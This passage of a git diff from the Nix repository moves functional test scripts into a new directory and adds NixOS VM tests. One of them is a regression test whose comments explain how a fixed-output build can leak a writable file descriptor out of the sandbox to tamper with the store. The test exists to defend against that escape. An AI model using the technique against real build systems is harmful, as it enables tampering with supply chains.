toplevel + +FAST_WHY_DEPENDS_OUTPUT=$(nix why-depends ./toplevel ./dep) +PRECISE_WHY_DEPENDS_OUTPUT=$(nix why-depends ./toplevel ./dep --precise) + +# Both outputs should show that `input-2` is in the dependency chain +echo "$FAST_WHY_DEPENDS_OUTPUT" | grepQuiet input-2 +echo "$PRECISE_WHY_DEPENDS_OUTPUT" | grepQuiet input-2 + +# But only the “precise” one should refer to `reference-to-input-2` +echo "$FAST_WHY_DEPENDS_OUTPUT" | grepQuietInverse reference-to-input-2 +echo "$PRECISE_WHY_DEPENDS_OUTPUT" | grepQuiet reference-to-input-2 + +<<<"$PRECISE_WHY_DEPENDS_OUTPUT" sed -n '2p' | grepQuiet "└───reference-to-input-2 -> " +<<<"$PRECISE_WHY_DEPENDS_OUTPUT" sed -n '3p' | grep " →" | grepQuiet "dependencies-input-2" +<<<"$PRECISE_WHY_DEPENDS_OUTPUT" sed -n '4p' | grepQuiet " └───input0: …" # in input-2, file input0 +<<<"$PRECISE_WHY_DEPENDS_OUTPUT" sed -n '5p' | grep " →" | grepQuiet "dependencies-input-0" # is dependencies-input-0 referenced diff --git a/tests/zstd.sh b/tests/functional/zstd.sh old mode 100644 new mode 100755 similarity index 93% rename from tests/zstd.sh rename to tests/functional/zstd.sh index ba7c20501..90fe58539 --- a/tests/zstd.sh +++ b/tests/functional/zstd.sh @@ -1,5 +1,9 @@ +#!/usr/bin/env bash + source common.sh +TODO_NixOS + clearStore clearCache diff --git a/tests/gc-non-blocking.sh b/tests/gc-non-blocking.sh deleted file mode 100644 index 0d781485d..000000000 --- a/tests/gc-non-blocking.sh +++ /dev/null @@ -1,33 +0,0 @@ -# Test whether the collector is non-blocking, i.e. a build can run in -# parallel with it. -source common.sh - -needLocalStore "the GC test needs a synchronisation point" - -clearStore - -fifo=$TEST_ROOT/test.fifo -mkfifo "$fifo" - -dummy=$(nix store add-path ./simple.nix) - -running=$TEST_ROOT/running -touch $running - -(_NIX_TEST_GC_SYNC=$fifo nix-store --gc -vvvvv; rm $running) & -pid=$! - -sleep 2 - -outPath=$(nix-build --max-silent-time 60 -o "$TEST_ROOT/result" -E " - with import ./config.nix; - mkDerivation { - name = \"non-blocking\"; - buildCommand = \"set -x; test -e $running; mkdir \$out; echo > $fifo\"; - }") - -wait $pid - -(! test -e $running) -(! test -e $dummy) -test -e $outPath diff --git a/tests/gc-runtime.sh b/tests/gc-runtime.sh deleted file mode 100644 index 6094959cb..000000000 --- a/tests/gc-runtime.sh +++ /dev/null @@ -1,38 +0,0 @@ -source common.sh - -case $system in - *linux*) - ;; - *) - exit 99; -esac - -set -m # enable job control, needed for kill - -profiles="$NIX_STATE_DIR"/profiles -rm -rf $profiles - -nix-env -p $profiles/test -f ./gc-runtime.nix -i gc-runtime - -outPath=$(nix-env -p $profiles/test -q --no-name --out-path gc-runtime) -echo $outPath - -echo "backgrounding program..." -$profiles/test/program & -sleep 2 # hack - wait for the program to get started -child=$! -echo PID=$child - -nix-env -p $profiles/test -e gc-runtime -nix-env -p $profiles/test --delete-generations old - -nix-store --gc - -kill -- -$child - -if ! test -e $outPath; then - echo "running program was garbage collected!" - exit 1 -fi - -exit 0 diff --git a/tests/init.sh b/tests/init.sh deleted file mode 100644 index 3c6d5917d..000000000 --- a/tests/init.sh +++ /dev/null @@ -1,38 +0,0 @@ -source common.sh - -test -n "$TEST_ROOT" -if test -d "$TEST_ROOT"; then - chmod -R u+w "$TEST_ROOT" - rm -rf "$TEST_ROOT" -fi -mkdir "$TEST_ROOT" - -mkdir "$NIX_STORE_DIR" -mkdir "$NIX_LOCALSTATE_DIR" -mkdir -p "$NIX_LOG_DIR"/drvs -mkdir "$NIX_STATE_DIR" -mkdir "$NIX_CONF_DIR" - -cat > "$NIX_CONF_DIR"/nix.conf < "$NIX_CONF_DIR"/nix.conf.extra < nixexprs/someFile + tar cvf - nixexprs | bzip2 > $out/channel/nixexprs.tar.bz2 + ''; + disableSELinux = "sudo setenforce 0"; images = { @@ -120,7 +139,7 @@ let makeTest = imageName: testName: let image = images.${imageName}; in - with nixpkgsFor.${image.system}; + with nixpkgsFor.${image.system}.native; runCommand "installer-test-${imageName}-${testName}" { buildInputs = [ qemu_kvm openssh ]; @@ -189,6 +208,11 @@ let echo "Running installer..." $ssh "set -eux; $installScript" + echo "Copying the mock channel" + # `scp -r` doesn't seem to work properly on some rhel instances, so let's + # use a plain tarpipe instead + tar -C ${mockChannel pkgs} -c channel | ssh -p 20022 $ssh_opts vagrant@localhost tar x -f- + echo "Testing Nix installation..." $ssh < \$out"]; }') [[ \$(cat \$out) = foobar ]] + + if pgrep nix-daemon; then + MAYBESUDO="sudo" + else + MAYBESUDO="" + fi + + + $MAYBESUDO \$(which nix-channel) --add file://\$HOME/channel myChannel + $MAYBESUDO \$(which nix-channel) --update + [[ \$(nix-instantiate --eval --expr 'builtins.readFile ') = '"someContent"' ]] EOF echo "Done!" diff --git a/tests/lang.sh b/tests/lang.sh deleted file mode 100644 index 95e795e2e..000000000 --- a/tests/lang.sh +++ /dev/null @@ -1,75 +0,0 @@ -source common.sh - -export TEST_VAR=foo # for eval-okay-getenv.nix -export NIX_REMOTE=dummy:// -export NIX_STORE_DIR=/nix/store - -nix-instantiate --eval -E 'builtins.trace "Hello" 123' 2>&1 | grep -q Hello -nix-instantiate --eval -E 'builtins.addErrorContext "Hello" 123' 2>&1 -nix-instantiate --trace-verbose --eval -E 'builtins.traceVerbose "Hello" 123' 2>&1 | grep -q Hello -(! nix-instantiate --eval -E 'builtins.traceVerbose "Hello" 123' 2>&1 | grep -q Hello) -(! nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" 123' 2>&1 | grep -q Hello) -nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" (throw "Foo")' 2>&1 | grep -q Hello - -set +x - -fail=0 - -for i in lang/parse-fail-*.nix; do - echo "parsing $i (should fail)"; - i=$(basename $i .nix) - if ! expect 1 nix-instantiate --parse - < lang/$i.nix; then - echo "FAIL: $i shouldn't parse" - fail=1 - fi -done - -for i in lang/parse-okay-*.nix; do - echo "parsing $i (should succeed)"; - i=$(basename $i .nix) - if ! expect 0 nix-instantiate --parse - < lang/$i.nix > lang/$i.out; then - echo "FAIL: $i should parse" - fail=1 - fi -done - -for i in lang/eval-fail-*.nix; do - echo "evaluating $i (should fail)"; - i=$(basename $i .nix) - if ! expect 1 nix-instantiate --eval lang/$i.nix; then - echo "FAIL: $i shouldn't evaluate" - fail=1 - fi -done - -for i in lang/eval-okay-*.nix; do - echo "evaluating $i (should succeed)"; - i=$(basename $i .nix) - - if test -e lang/$i.exp; then - flags= - if test -e lang/$i.flags; then - flags=$(cat lang/$i.flags) - fi - if ! expect 0 env NIX_PATH=lang/dir3:lang/dir4 HOME=/fake-home nix-instantiate $flags --eval --strict lang/$i.nix > lang/$i.out; then - echo "FAIL: $i should evaluate" - fail=1 - elif ! diff <(< lang/$i.out sed -e "s|$(pwd)|/pwd|g") lang/$i.exp; then - echo "FAIL: evaluation result of $i not as expected" - fail=1 - fi - fi - - if test -e lang/$i.exp.xml; then - if ! expect 0 nix-instantiate --eval --xml --no-location --strict \ - lang/$i.nix > lang/$i.out.xml; then - echo "FAIL: $i should evaluate" - fail=1 - elif ! cmp -s lang/$i.out.xml lang/$i.exp.xml; then - echo "FAIL: XML evaluation result of $i not as expected" - fail=1 - fi - fi -done - -exit $fail diff --git a/tests/lang/eval-okay-context-introspection.exp b/tests/lang/eval-okay-context-introspection.exp deleted file mode 100644 index 27ba77dda..000000000 --- a/tests/lang/eval-okay-context-introspection.exp +++ /dev/null @@ -1 +0,0 @@ -true diff --git a/tests/lang/eval-okay-context-introspection.nix b/tests/lang/eval-okay-context-introspection.nix deleted file mode 100644 index 43178bd2e..000000000 --- a/tests/lang/eval-okay-context-introspection.nix +++ /dev/null @@ -1,24 +0,0 @@ -let - drv = derivation { - name = "fail"; - builder = "/bin/false"; - system = "x86_64-linux"; - outputs = [ "out" "foo" ]; - }; - - path = "${./eval-okay-context-introspection.nix}"; - - desired-context = { - "${builtins.unsafeDiscardStringContext path}" = { - path = true; - }; - "${builtins.unsafeDiscardStringContext drv.drvPath}" = { - outputs = [ "foo" "out" ]; - allOutputs = true; - }; - }; - - legit-context = builtins.getContext "${path}${drv.outPath}${drv.foo.outPath}${drv.drvPath}"; - - constructed-context = builtins.getContext (builtins.appendContext "" desired-context); -in legit-context == constructed-context diff --git a/tests/lang/eval-okay-path.exp b/tests/lang/eval-okay-path.exp deleted file mode 100644 index 3ce7f8283..000000000 --- a/tests/lang/eval-okay-path.exp +++ /dev/null @@ -1 +0,0 @@ -"/nix/store/ya937r4ydw0l6kayq8jkyqaips9c75jm-output" diff --git a/tests/lang/eval-okay-path.nix b/tests/lang/eval-okay-path.nix deleted file mode 100644 index e67168cf3..000000000 --- a/tests/lang/eval-okay-path.nix +++ /dev/null @@ -1,7 +0,0 @@ -builtins.path - { path = ./.; - filter = path: _: baseNameOf path == "data"; - recursive = true; - sha256 = "1yhm3gwvg5a41yylymgblsclk95fs6jy72w0wv925mmidlhcq4sw"; - name = "output"; - } diff --git a/tests/lang/eval-okay-pathexists.nix b/tests/lang/eval-okay-pathexists.nix deleted file mode 100644 index 50c28ee0c..000000000 --- a/tests/lang/eval-okay-pathexists.nix +++ /dev/null @@ -1,5 +0,0 @@ -builtins.pathExists (builtins.toPath ./lib.nix) -&& builtins.pathExists (builtins.toPath (builtins.toString ./lib.nix)) -&& !builtins.pathExists (builtins.toPath (builtins.toString ./bla.nix)) -&& builtins.pathExists ./lib.nix -&& !builtins.pathExists ./bla.nix diff --git a/tests/lang/eval-okay-readDir.exp b/tests/lang/eval-okay-readDir.exp deleted file mode 100644 index bf8d2c14e..000000000 --- a/tests/lang/eval-okay-readDir.exp +++ /dev/null @@ -1 +0,0 @@ -{ bar = "regular"; foo = "directory"; } diff --git a/tests/lang/eval-okay-replacestrings.exp b/tests/lang/eval-okay-replacestrings.exp deleted file mode 100644 index 72e8274d8..000000000 --- a/tests/lang/eval-okay-replacestrings.exp +++ /dev/null @@ -1 +0,0 @@ -[ "faabar" "fbar" "fubar" "faboor" "fubar" "XaXbXcX" "X" "a_b" ] diff --git a/tests/lang/eval-okay-search-path.flags b/tests/lang/eval-okay-search-path.flags deleted file mode 100644 index a28e68210..000000000 --- a/tests/lang/eval-okay-search-path.flags +++ /dev/null @@ -1 +0,0 @@ --I lang/dir1 -I lang/dir2 -I dir5=lang/dir3 \ No newline at end of file diff --git a/tests/lang/eval-okay-substring.exp b/tests/lang/eval-okay-substring.exp deleted file mode 100644 index 6aace04b0..000000000 --- a/tests/lang/eval-okay-substring.exp +++ /dev/null @@ -1 +0,0 @@ -"ooxfoobarybarzobaabbc" diff --git a/tests/linux-sandbox.sh b/tests/linux-sandbox.sh deleted file mode 100644 index 3f304ac2f..000000000 --- a/tests/linux-sandbox.sh +++ /dev/null @@ -1,39 +0,0 @@ -source common.sh - -needLocalStore "the sandbox only runs on the builder side, so it makes no sense to test it with the daemon" - -clearStore - -if ! canUseSandbox; then exit 99; fi - -# Note: we need to bind-mount $SHELL into the chroot. Currently we -# only support the case where $SHELL is in the Nix store, because -# otherwise things get complicated (e.g. if it's in /bin, do we need -# /lib as well?). -if [[ ! $SHELL =~ /nix/store ]]; then exit 99; fi - -chmod -R u+w $TEST_ROOT/store0 || true -rm -rf $TEST_ROOT/store0 - -export NIX_STORE_DIR=/my/store -export NIX_REMOTE=$TEST_ROOT/store0 - -outPath=$(nix-build dependencies.nix --no-out-link --sandbox-paths /nix/store) - -[[ $outPath =~ /my/store/.*-dependencies ]] - -nix path-info -r $outPath | grep input-2 - -nix store ls -R -l $outPath | grep foobar - -nix store cat $outPath/foobar | grep FOOBAR - -# Test --check without hash rewriting. -nix-build dependencies.nix --no-out-link --check --sandbox-paths /nix/store - -# Test that sandboxed builds with --check and -K can move .check directory to store -nix-build check.nix -A nondeterministic --sandbox-paths /nix/store --no-out-link - -(! nix-build check.nix -A nondeterministic --sandbox-paths /nix/store --no-out-link --check -K 2> $TEST_ROOT/log) -if grep -q 'error: renaming' $TEST_ROOT/log; then false; fi -grep -q 'may not be deterministic' $TEST_ROOT/log diff --git a/tests/local-store.sh b/tests/local-store.sh deleted file mode 100644 index 0247346f1..000000000 --- a/tests/local-store.sh +++ /dev/null @@ -1,19 +0,0 @@ -source common.sh - -cd $TEST_ROOT - -echo example > example.txt -mkdir -p ./x - -NIX_STORE_DIR=$TEST_ROOT/x - -CORRECT_PATH=$(nix-store --store ./x --add example.txt) - -PATH1=$(nix path-info --store ./x $CORRECT_PATH) -[ $CORRECT_PATH == $PATH1 ] - -PATH2=$(nix path-info --store "$PWD/x" $CORRECT_PATH) -[ $CORRECT_PATH == $PATH2 ] - -PATH3=$(nix path-info --store "local?root=$PWD/x" $CORRECT_PATH) -[ $CORRECT_PATH == $PATH3 ] diff --git a/tests/misc.sh b/tests/misc.sh deleted file mode 100644 index 2830856ae..000000000 --- a/tests/misc.sh +++ /dev/null @@ -1,26 +0,0 @@ -source common.sh - -# Tests miscellaneous commands. - -# Do all commands have help? -#nix-env --help | grep -q install -#nix-store --help | grep -q realise -#nix-instantiate --help | grep -q eval -#nix-hash --help | grep -q base32 - -# Can we ask for the version number? -nix-env --version | grep "$version" - -# Usage errors. -nix-env --foo 2>&1 | grep "no operation" -nix-env -q --foo 2>&1 | grep "unknown flag" - -# Eval Errors. -eval_arg_res=$(nix-instantiate --eval -E 'let a = {} // a; in a.foo' 2>&1 || true) -echo $eval_arg_res | grep "at «string»:1:15:" -echo $eval_arg_res | grep "infinite recursion encountered" - -eval_stdin_res=$(echo 'let a = {} // a; in a.foo' | nix-instantiate --eval -E - 2>&1 || true) -echo $eval_stdin_res | grep "at «stdin»:1:15:" -echo $eval_stdin_res | grep "infinite recursion encountered" - diff --git a/tests/nix-copy-ssh.sh b/tests/nix-copy-ssh.sh deleted file mode 100644 index eb801548d..000000000 --- a/tests/nix-copy-ssh.sh +++ /dev/null @@ -1,20 +0,0 @@ -source common.sh - -clearStore -clearCache - -remoteRoot=$TEST_ROOT/store2 -chmod -R u+w "$remoteRoot" || true -rm -rf "$remoteRoot" - -outPath=$(nix-build --no-out-link dependencies.nix) - -nix copy --to "ssh://localhost?store=$NIX_STORE_DIR&remote-store=$remoteRoot%3fstore=$NIX_STORE_DIR%26real=$remoteRoot$NIX_STORE_DIR" $outPath - -[ -f $remoteRoot$outPath/foobar ] - -clearStore - -nix copy --no-check-sigs --from "ssh://localhost?store=$NIX_STORE_DIR&remote-store=$remoteRoot%3fstore=$NIX_STORE_DIR%26real=$remoteRoot$NIX_STORE_DIR" $outPath - -[ -f $outPath/foobar ] diff --git a/tests/nix-profile.sh b/tests/nix-profile.sh deleted file mode 100644 index 7ba3235fa..000000000 --- a/tests/nix-profile.sh +++ /dev/null @@ -1,140 +0,0 @@ -source common.sh - -clearStore -clearProfiles - -enableFeatures "ca-derivations" -restartDaemon - -# Make a flake. -flake1Dir=$TEST_ROOT/flake1 -mkdir -p $flake1Dir - -cat > $flake1Dir/flake.nix < \$out/bin/hello < $flake1Dir/who -printf 1.0 > $flake1Dir/version -printf false > $flake1Dir/ca.nix - -cp ./config.nix $flake1Dir/ - -# Test upgrading from nix-env. -nix-env -f ./user-envs.nix -i foo-1.0 -nix profile list | grep '0 - - .*-foo-1.0' -nix profile install $flake1Dir -L -[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World" ]] -[ -e $TEST_HOME/.nix-profile/share/man ] -(! [ -e $TEST_HOME/.nix-profile/include ]) -nix profile history -nix profile history | grep "packages.$system.default: ∅ -> 1.0" -nix profile diff-closures | grep 'env-manifest.nix: ε → ∅' - -# Test upgrading a package. -printf NixOS > $flake1Dir/who -printf 2.0 > $flake1Dir/version -nix profile upgrade 1 -[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello NixOS" ]] -nix profile history | grep "packages.$system.default: 1.0, 1.0-man -> 2.0, 2.0-man" - -# Test 'history', 'diff-closures'. -nix profile diff-closures - -# Test rollback. -nix profile rollback -[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World" ]] - -# Test uninstall. -[ -e $TEST_HOME/.nix-profile/bin/foo ] -nix profile remove 0 -(! [ -e $TEST_HOME/.nix-profile/bin/foo ]) -nix profile history | grep 'foo: 1.0 -> ∅' -nix profile diff-closures | grep 'Version 3 -> 4' - -# Test installing a non-flake package. -nix profile install --file ./simple.nix '' -[[ $(cat $TEST_HOME/.nix-profile/hello) = "Hello World!" ]] -nix profile remove 1 -nix profile install $(nix-build --no-out-link ./simple.nix) -[[ $(cat $TEST_HOME/.nix-profile/hello) = "Hello World!" ]] - -# Test wipe-history. -nix profile wipe-history -[[ $(nix profile history | grep Version | wc -l) -eq 1 ]] - -# Test upgrade to CA package. -printf true > $flake1Dir/ca.nix -printf 3.0 > $flake1Dir/version -nix profile upgrade 0 -nix profile history | grep "packages.$system.default: 1.0, 1.0-man -> 3.0, 3.0-man" - -# Test new install of CA package. -nix profile remove 0 -printf 4.0 > $flake1Dir/version -printf Utrecht > $flake1Dir/who -nix profile install $flake1Dir -[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello Utrecht" ]] -[[ $(nix path-info --json $(realpath $TEST_HOME/.nix-profile/bin/hello) | jq -r .[].ca) =~ fixed:r:sha256: ]] - -# Override the outputs. -nix profile remove 0 1 -nix profile install "$flake1Dir^*" -[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello Utrecht" ]] -[ -e $TEST_HOME/.nix-profile/share/man ] -[ -e $TEST_HOME/.nix-profile/include ] - -printf Nix > $flake1Dir/who -nix profile upgrade 0 -[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello Nix" ]] -[ -e $TEST_HOME/.nix-profile/share/man ] -[ -e $TEST_HOME/.nix-profile/include ] - -nix profile remove 0 -nix profile install "$flake1Dir^man" -(! [ -e $TEST_HOME/.nix-profile/bin/hello ]) -[ -e $TEST_HOME/.nix-profile/share/man ] -(! [ -e $TEST_HOME/.nix-profile/include ]) - -# test priority -nix profile remove 0 - -# Make another flake. -flake2Dir=$TEST_ROOT/flake2 -printf World > $flake1Dir/who -cp -r $flake1Dir $flake2Dir -printf World2 > $flake2Dir/who - -nix profile install $flake1Dir -[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World" ]] -nix profile install $flake2Dir --priority 100 -[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World" ]] -nix profile install $flake2Dir --priority 0 -[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World2" ]] -# nix profile install $flake1Dir --priority 100 -# [[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World" ]] diff --git a/tests/nix-shell.sh b/tests/nix-shell.sh deleted file mode 100644 index f291c6f79..000000000 --- a/tests/nix-shell.sh +++ /dev/null @@ -1,112 +0,0 @@ -source common.sh - -clearStore - -if [[ -n ${CONTENT_ADDRESSED:-} ]]; then - shellDotNix="$PWD/ca-shell.nix" -else - shellDotNix="$PWD/shell.nix" -fi - -export NIX_PATH=nixpkgs="$shellDotNix" - -# Test nix-shell -A -export IMPURE_VAR=foo -export SELECTED_IMPURE_VAR=baz - -output=$(nix-shell --pure "$shellDotNix" -A shellDrv --run \ - 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $TEST_inNixShell"') - -[ "$output" = " - foo - bar - true" ] - -# Test --keep -output=$(nix-shell --pure --keep SELECTED_IMPURE_VAR "$shellDotNix" -A shellDrv --run \ - 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $SELECTED_IMPURE_VAR"') - -[ "$output" = " - foo - bar - baz" ] - -# Test nix-shell on a .drv -[[ $(nix-shell --pure $(nix-instantiate "$shellDotNix" -A shellDrv) --run \ - 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $TEST_inNixShell"') = " - foo - bar - false" ]] - -[[ $(nix-shell --pure $(nix-instantiate "$shellDotNix" -A shellDrv) --run \ - 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $TEST_inNixShell"') = " - foo - bar - false" ]] - -# Test nix-shell on a .drv symlink - -# Legacy: absolute path and .drv extension required -nix-instantiate "$shellDotNix" -A shellDrv --add-root $TEST_ROOT/shell.drv -[[ $(nix-shell --pure $TEST_ROOT/shell.drv --run \ - 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX"') = " - foo - bar" ]] - -# New behaviour: just needs to resolve to a derivation in the store -nix-instantiate "$shellDotNix" -A shellDrv --add-root $TEST_ROOT/shell -[[ $(nix-shell --pure $TEST_ROOT/shell --run \ - 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX"') = " - foo - bar" ]] - -# Test nix-shell -p -output=$(NIX_PATH=nixpkgs="$shellDotNix" nix-shell --pure -p foo bar --run 'echo "$(foo) $(bar)"') -[ "$output" = "foo bar" ] - -# Test nix-shell -p --arg x y -output=$(NIX_PATH=nixpkgs="$shellDotNix" nix-shell --pure -p foo --argstr fooContents baz --run 'echo "$(foo)"') -[ "$output" = "baz" ] - -# Test nix-shell shebang mode -sed -e "s|@ENV_PROG@|$(type -P env)|" shell.shebang.sh > $TEST_ROOT/shell.shebang.sh -chmod a+rx $TEST_ROOT/shell.shebang.sh - -output=$($TEST_ROOT/shell.shebang.sh abc def) -[ "$output" = "foo bar abc def" ] - -# Test nix-shell shebang mode again with metacharacters in the filename. -# First word of filename is chosen to not match any file in the test root. -sed -e "s|@ENV_PROG@|$(type -P env)|" shell.shebang.sh > $TEST_ROOT/spaced\ \\\'\"shell.shebang.sh -chmod a+rx $TEST_ROOT/spaced\ \\\'\"shell.shebang.sh - -output=$($TEST_ROOT/spaced\ \\\'\"shell.shebang.sh abc def) -[ "$output" = "foo bar abc def" ] - -# Test nix-shell shebang mode for ruby -# This uses a fake interpreter that returns the arguments passed -# This, in turn, verifies the `rc` script is valid and the `load()` script (given using `-e`) is as expected. -sed -e "s|@SHELL_PROG@|$(type -P nix-shell)|" shell.shebang.rb > $TEST_ROOT/shell.shebang.rb -chmod a+rx $TEST_ROOT/shell.shebang.rb - -output=$($TEST_ROOT/shell.shebang.rb abc ruby) -[ "$output" = '-e load(ARGV.shift) -- '"$TEST_ROOT"'/shell.shebang.rb abc ruby' ] - -# Test nix-shell shebang mode for ruby again with metacharacters in the filename. -# Note: fake interpreter only space-separates args without adding escapes to its output. -sed -e "s|@SHELL_PROG@|$(type -P nix-shell)|" shell.shebang.rb > $TEST_ROOT/spaced\ \\\'\"shell.shebang.rb -chmod a+rx $TEST_ROOT/spaced\ \\\'\"shell.shebang.rb - -output=$($TEST_ROOT/spaced\ \\\'\"shell.shebang.rb abc ruby) -[ "$output" = '-e load(ARGV.shift) -- '"$TEST_ROOT"'/spaced \'\''"shell.shebang.rb abc ruby' ] - -# Test 'nix develop'. -nix develop -f "$shellDotNix" shellDrv -c bash -c '[[ -n $stdenv ]]' - -# Ensure `nix develop -c` preserves stdin -echo foo | nix develop -f "$shellDotNix" shellDrv -c cat | grep -q foo - -# Ensure `nix develop -c` actually executes the command if stdout isn't a terminal -nix develop -f "$shellDotNix" shellDrv -c echo foo |& grep -q foo - -# Test 'nix print-dev-env'. -[[ $(nix print-dev-env -f "$shellDotNix" shellDrv --json | jq -r .variables.arr1.value[2]) = '3 4' ]] - -source <(nix print-dev-env -f "$shellDotNix" shellDrv) -[[ -n $stdenv ]] -[[ ${arr1[2]} = "3 4" ]] -[[ ${arr2[1]} = $'\n' ]] -[[ ${arr2[2]} = $'x\ny' ]] -[[ $(fun) = blabla ]] - -# Test nix-shell with ellipsis and no `inNixShell` argument (for backwards compat with old nixpkgs) -cat >$TEST_ROOT/shell-ellipsis.nix <' --restrict-eval -nix-instantiate --eval -E '' --restrict-eval - -# Should ideally also test this, but there’s no pure way to do it, so just trust me that it works -# nix-instantiate --eval -E '' -I nixpkgs=channel:nixos-unstable --restrict-eval - -[[ $(nix-instantiate --find-file by-absolute-path/simple.nix) = $PWD/simple.nix ]] -[[ $(nix-instantiate --find-file by-relative-path/simple.nix) = $PWD/simple.nix ]] diff --git a/tests/nixos/authorization.nix b/tests/nixos/authorization.nix new file mode 100644 index 000000000..fdeae06ed --- /dev/null +++ b/tests/nixos/authorization.nix @@ -0,0 +1,94 @@ +{ + name = "authorization"; + + nodes.machine = { + virtualisation.writableStore = true; + # TODO add a test without allowed-users setting. allowed-users is uncommon among NixOS users. + nix.settings.allowed-users = ["alice" "bob"]; + nix.settings.trusted-users = ["alice"]; + + users.users.alice.isNormalUser = true; + users.users.bob.isNormalUser = true; + users.users.mallory.isNormalUser = true; + + nix.settings.experimental-features = "nix-command"; + }; + + testScript = + let + pathFour = "/nix/store/20xfy868aiic0r0flgzq4n5dq1yvmxkn-four"; + in + '' + machine.wait_for_unit("multi-user.target") + machine.succeed(""" + exec 1>&2 + echo kSELDhobKaF8/VdxIxdP7EQe+Q > one + diff $(nix store add-file one) one + """) + machine.succeed(""" + su --login alice -c ' + set -x + cd ~ + echo ehHtmfuULXYyBV6NBk6QUi8iE0 > two + ls + diff $(echo $(nix store add-file two)) two' 1>&2 + """) + machine.succeed(""" + su --login bob -c ' + set -x + cd ~ + echo 0Jw8RNp7cK0W2AdNbcquofcOVk > three + diff $(nix store add-file three) three + ' 1>&2 + """) + + # We're going to check that a path is not created + machine.succeed(""" + ! [[ -e ${pathFour} ]] + """) + machine.succeed(""" + su --login mallory -c ' + set -x + cd ~ + echo 5mgtDj0ohrWkT50TLR0f4tIIxY > four; + (! nix store add-file four 2>&1) | grep -F "cannot open connection to remote store" + (! nix store add-file four 2>&1) | grep -F "Connection reset by peer" + ! [[ -e ${pathFour} ]] + ' 1>&2 + """) + + # Check that the file _can_ be added, and matches the expected path we were checking + machine.succeed(""" + exec 1>&2 + echo 5mgtDj0ohrWkT50TLR0f4tIIxY > four + four="$(nix store add-file four)" + diff $four four + diff <(echo $four) <(echo ${pathFour}) + """) + + machine.succeed(""" + su --login alice -c 'nix-store --verify --repair' + """) + + machine.succeed(""" + set -x + su --login bob -c '(! nix-store --verify --repair 2>&1)' | tee diag 1>&2 + grep -F "you are not privileged to repair paths" diag + """) + + machine.succeed(""" + set -x + su --login mallory -c ' + nix-store --generate-binary-cache-key cache1.example.org sk1 pk1 + (! nix store sign --key-file sk1 ${pathFour} 2>&1)' | tee diag 1>&2 + grep -F "cannot open connection to remote store 'daemon'" diag + """) + + machine.succeed(""" + su --login bob -c ' + nix-store --generate-binary-cache-key cache1.example.org sk1 pk1 + nix store sign --key-file sk1 ${pathFour} + ' + """) + ''; +} diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix new file mode 100644 index 000000000..a6ae72adc --- /dev/null +++ b/tests/nixos/ca-fd-leak/default.nix @@ -0,0 +1,90 @@ +# Nix is a sandboxed build system. But Not everything can be handled inside its +# sandbox: Network access is normally blocked off, but to download sources, a +# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". +# The detail here is not important, but in our case it means that the hash of +# the output has to be known beforehand. And if you know that, you get a few +# rights: you no longer run inside a special network namespace! +# +# Now, Linux has a special feature, that not many other unices do: Abstract +# unix domain sockets! Not only that, but those are namespaced using the +# network namespace! That means that we have a way to create sockets that are +# available in every single fixed-output derivation, and also all processes +# running on the host machine! Now, this wouldn't be that much of an issue, as, +# well, the whole idea is that the output is pure, and all processes in the +# sandbox are killed before finalizing the output. What if we didn't need those +# processes at all? Unix domain sockets have a semi-known trick: you can pass +# file descriptors around! +# This makes it possible to exfiltrate a file-descriptor with write access to +# $out outside of the sandbox. And that file-descriptor can be used to modify +# the contents of the store path after it has been registered. + +{ config, ... }: + +let + pkgs = config.nodes.machine.nixpkgs.pkgs; + + # Simple C program that sends a a file descriptor to `$out` to a Unix + # domain socket. + # Compiled statically so that we can easily send it to the VM and use it + # inside the build sandbox. + sender = pkgs.runCommandWith { + name = "sender"; + stdenv = pkgs.pkgsStatic.stdenv; + } '' + $CC -static -o $out ${./sender.c} + ''; + + # Okay, so we have a file descriptor shipped out of the FOD now. But the + # Nix store is read-only, right? .. Well, yeah. But this file descriptor + # lives in a mount namespace where it is not! So even when this file exists + # in the actual Nix store, we're capable of just modifying its contents... + smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); + + # The abstract socket path used to exfiltrate the file descriptor + socketName = "FODSandboxExfiltrationSocket"; +in +{ + name = "ca-fd-leak"; + + nodes.machine = + { config, lib, pkgs, ... }: + { virtualisation.writableStore = true; + nix.settings.substituters = lib.mkForce [ ]; + virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; + }; + + testScript = { nodes }: '' + start_all() + + machine.succeed("echo hello") + # Start the smuggler server + machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") + + # Build the smuggled derivation. + # This will connect to the smuggler server and send it the file descriptor + machine.succeed(r""" + nix-build -E ' + builtins.derivation { + name = "smuggled"; + system = builtins.currentSystem; + # look ma, no tricks! + outputHashMode = "flat"; + outputHashAlgo = "sha256"; + outputHash = builtins.hashString "sha256" "hello, world\n"; + builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; + args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; + }' + """.strip()) + + + # Tell the smuggler server that we're done + machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") + + # Check that the file was not modified + machine.succeed(r""" + cat ./result + test "$(cat ./result)" = "hello, world" + """.strip()) + 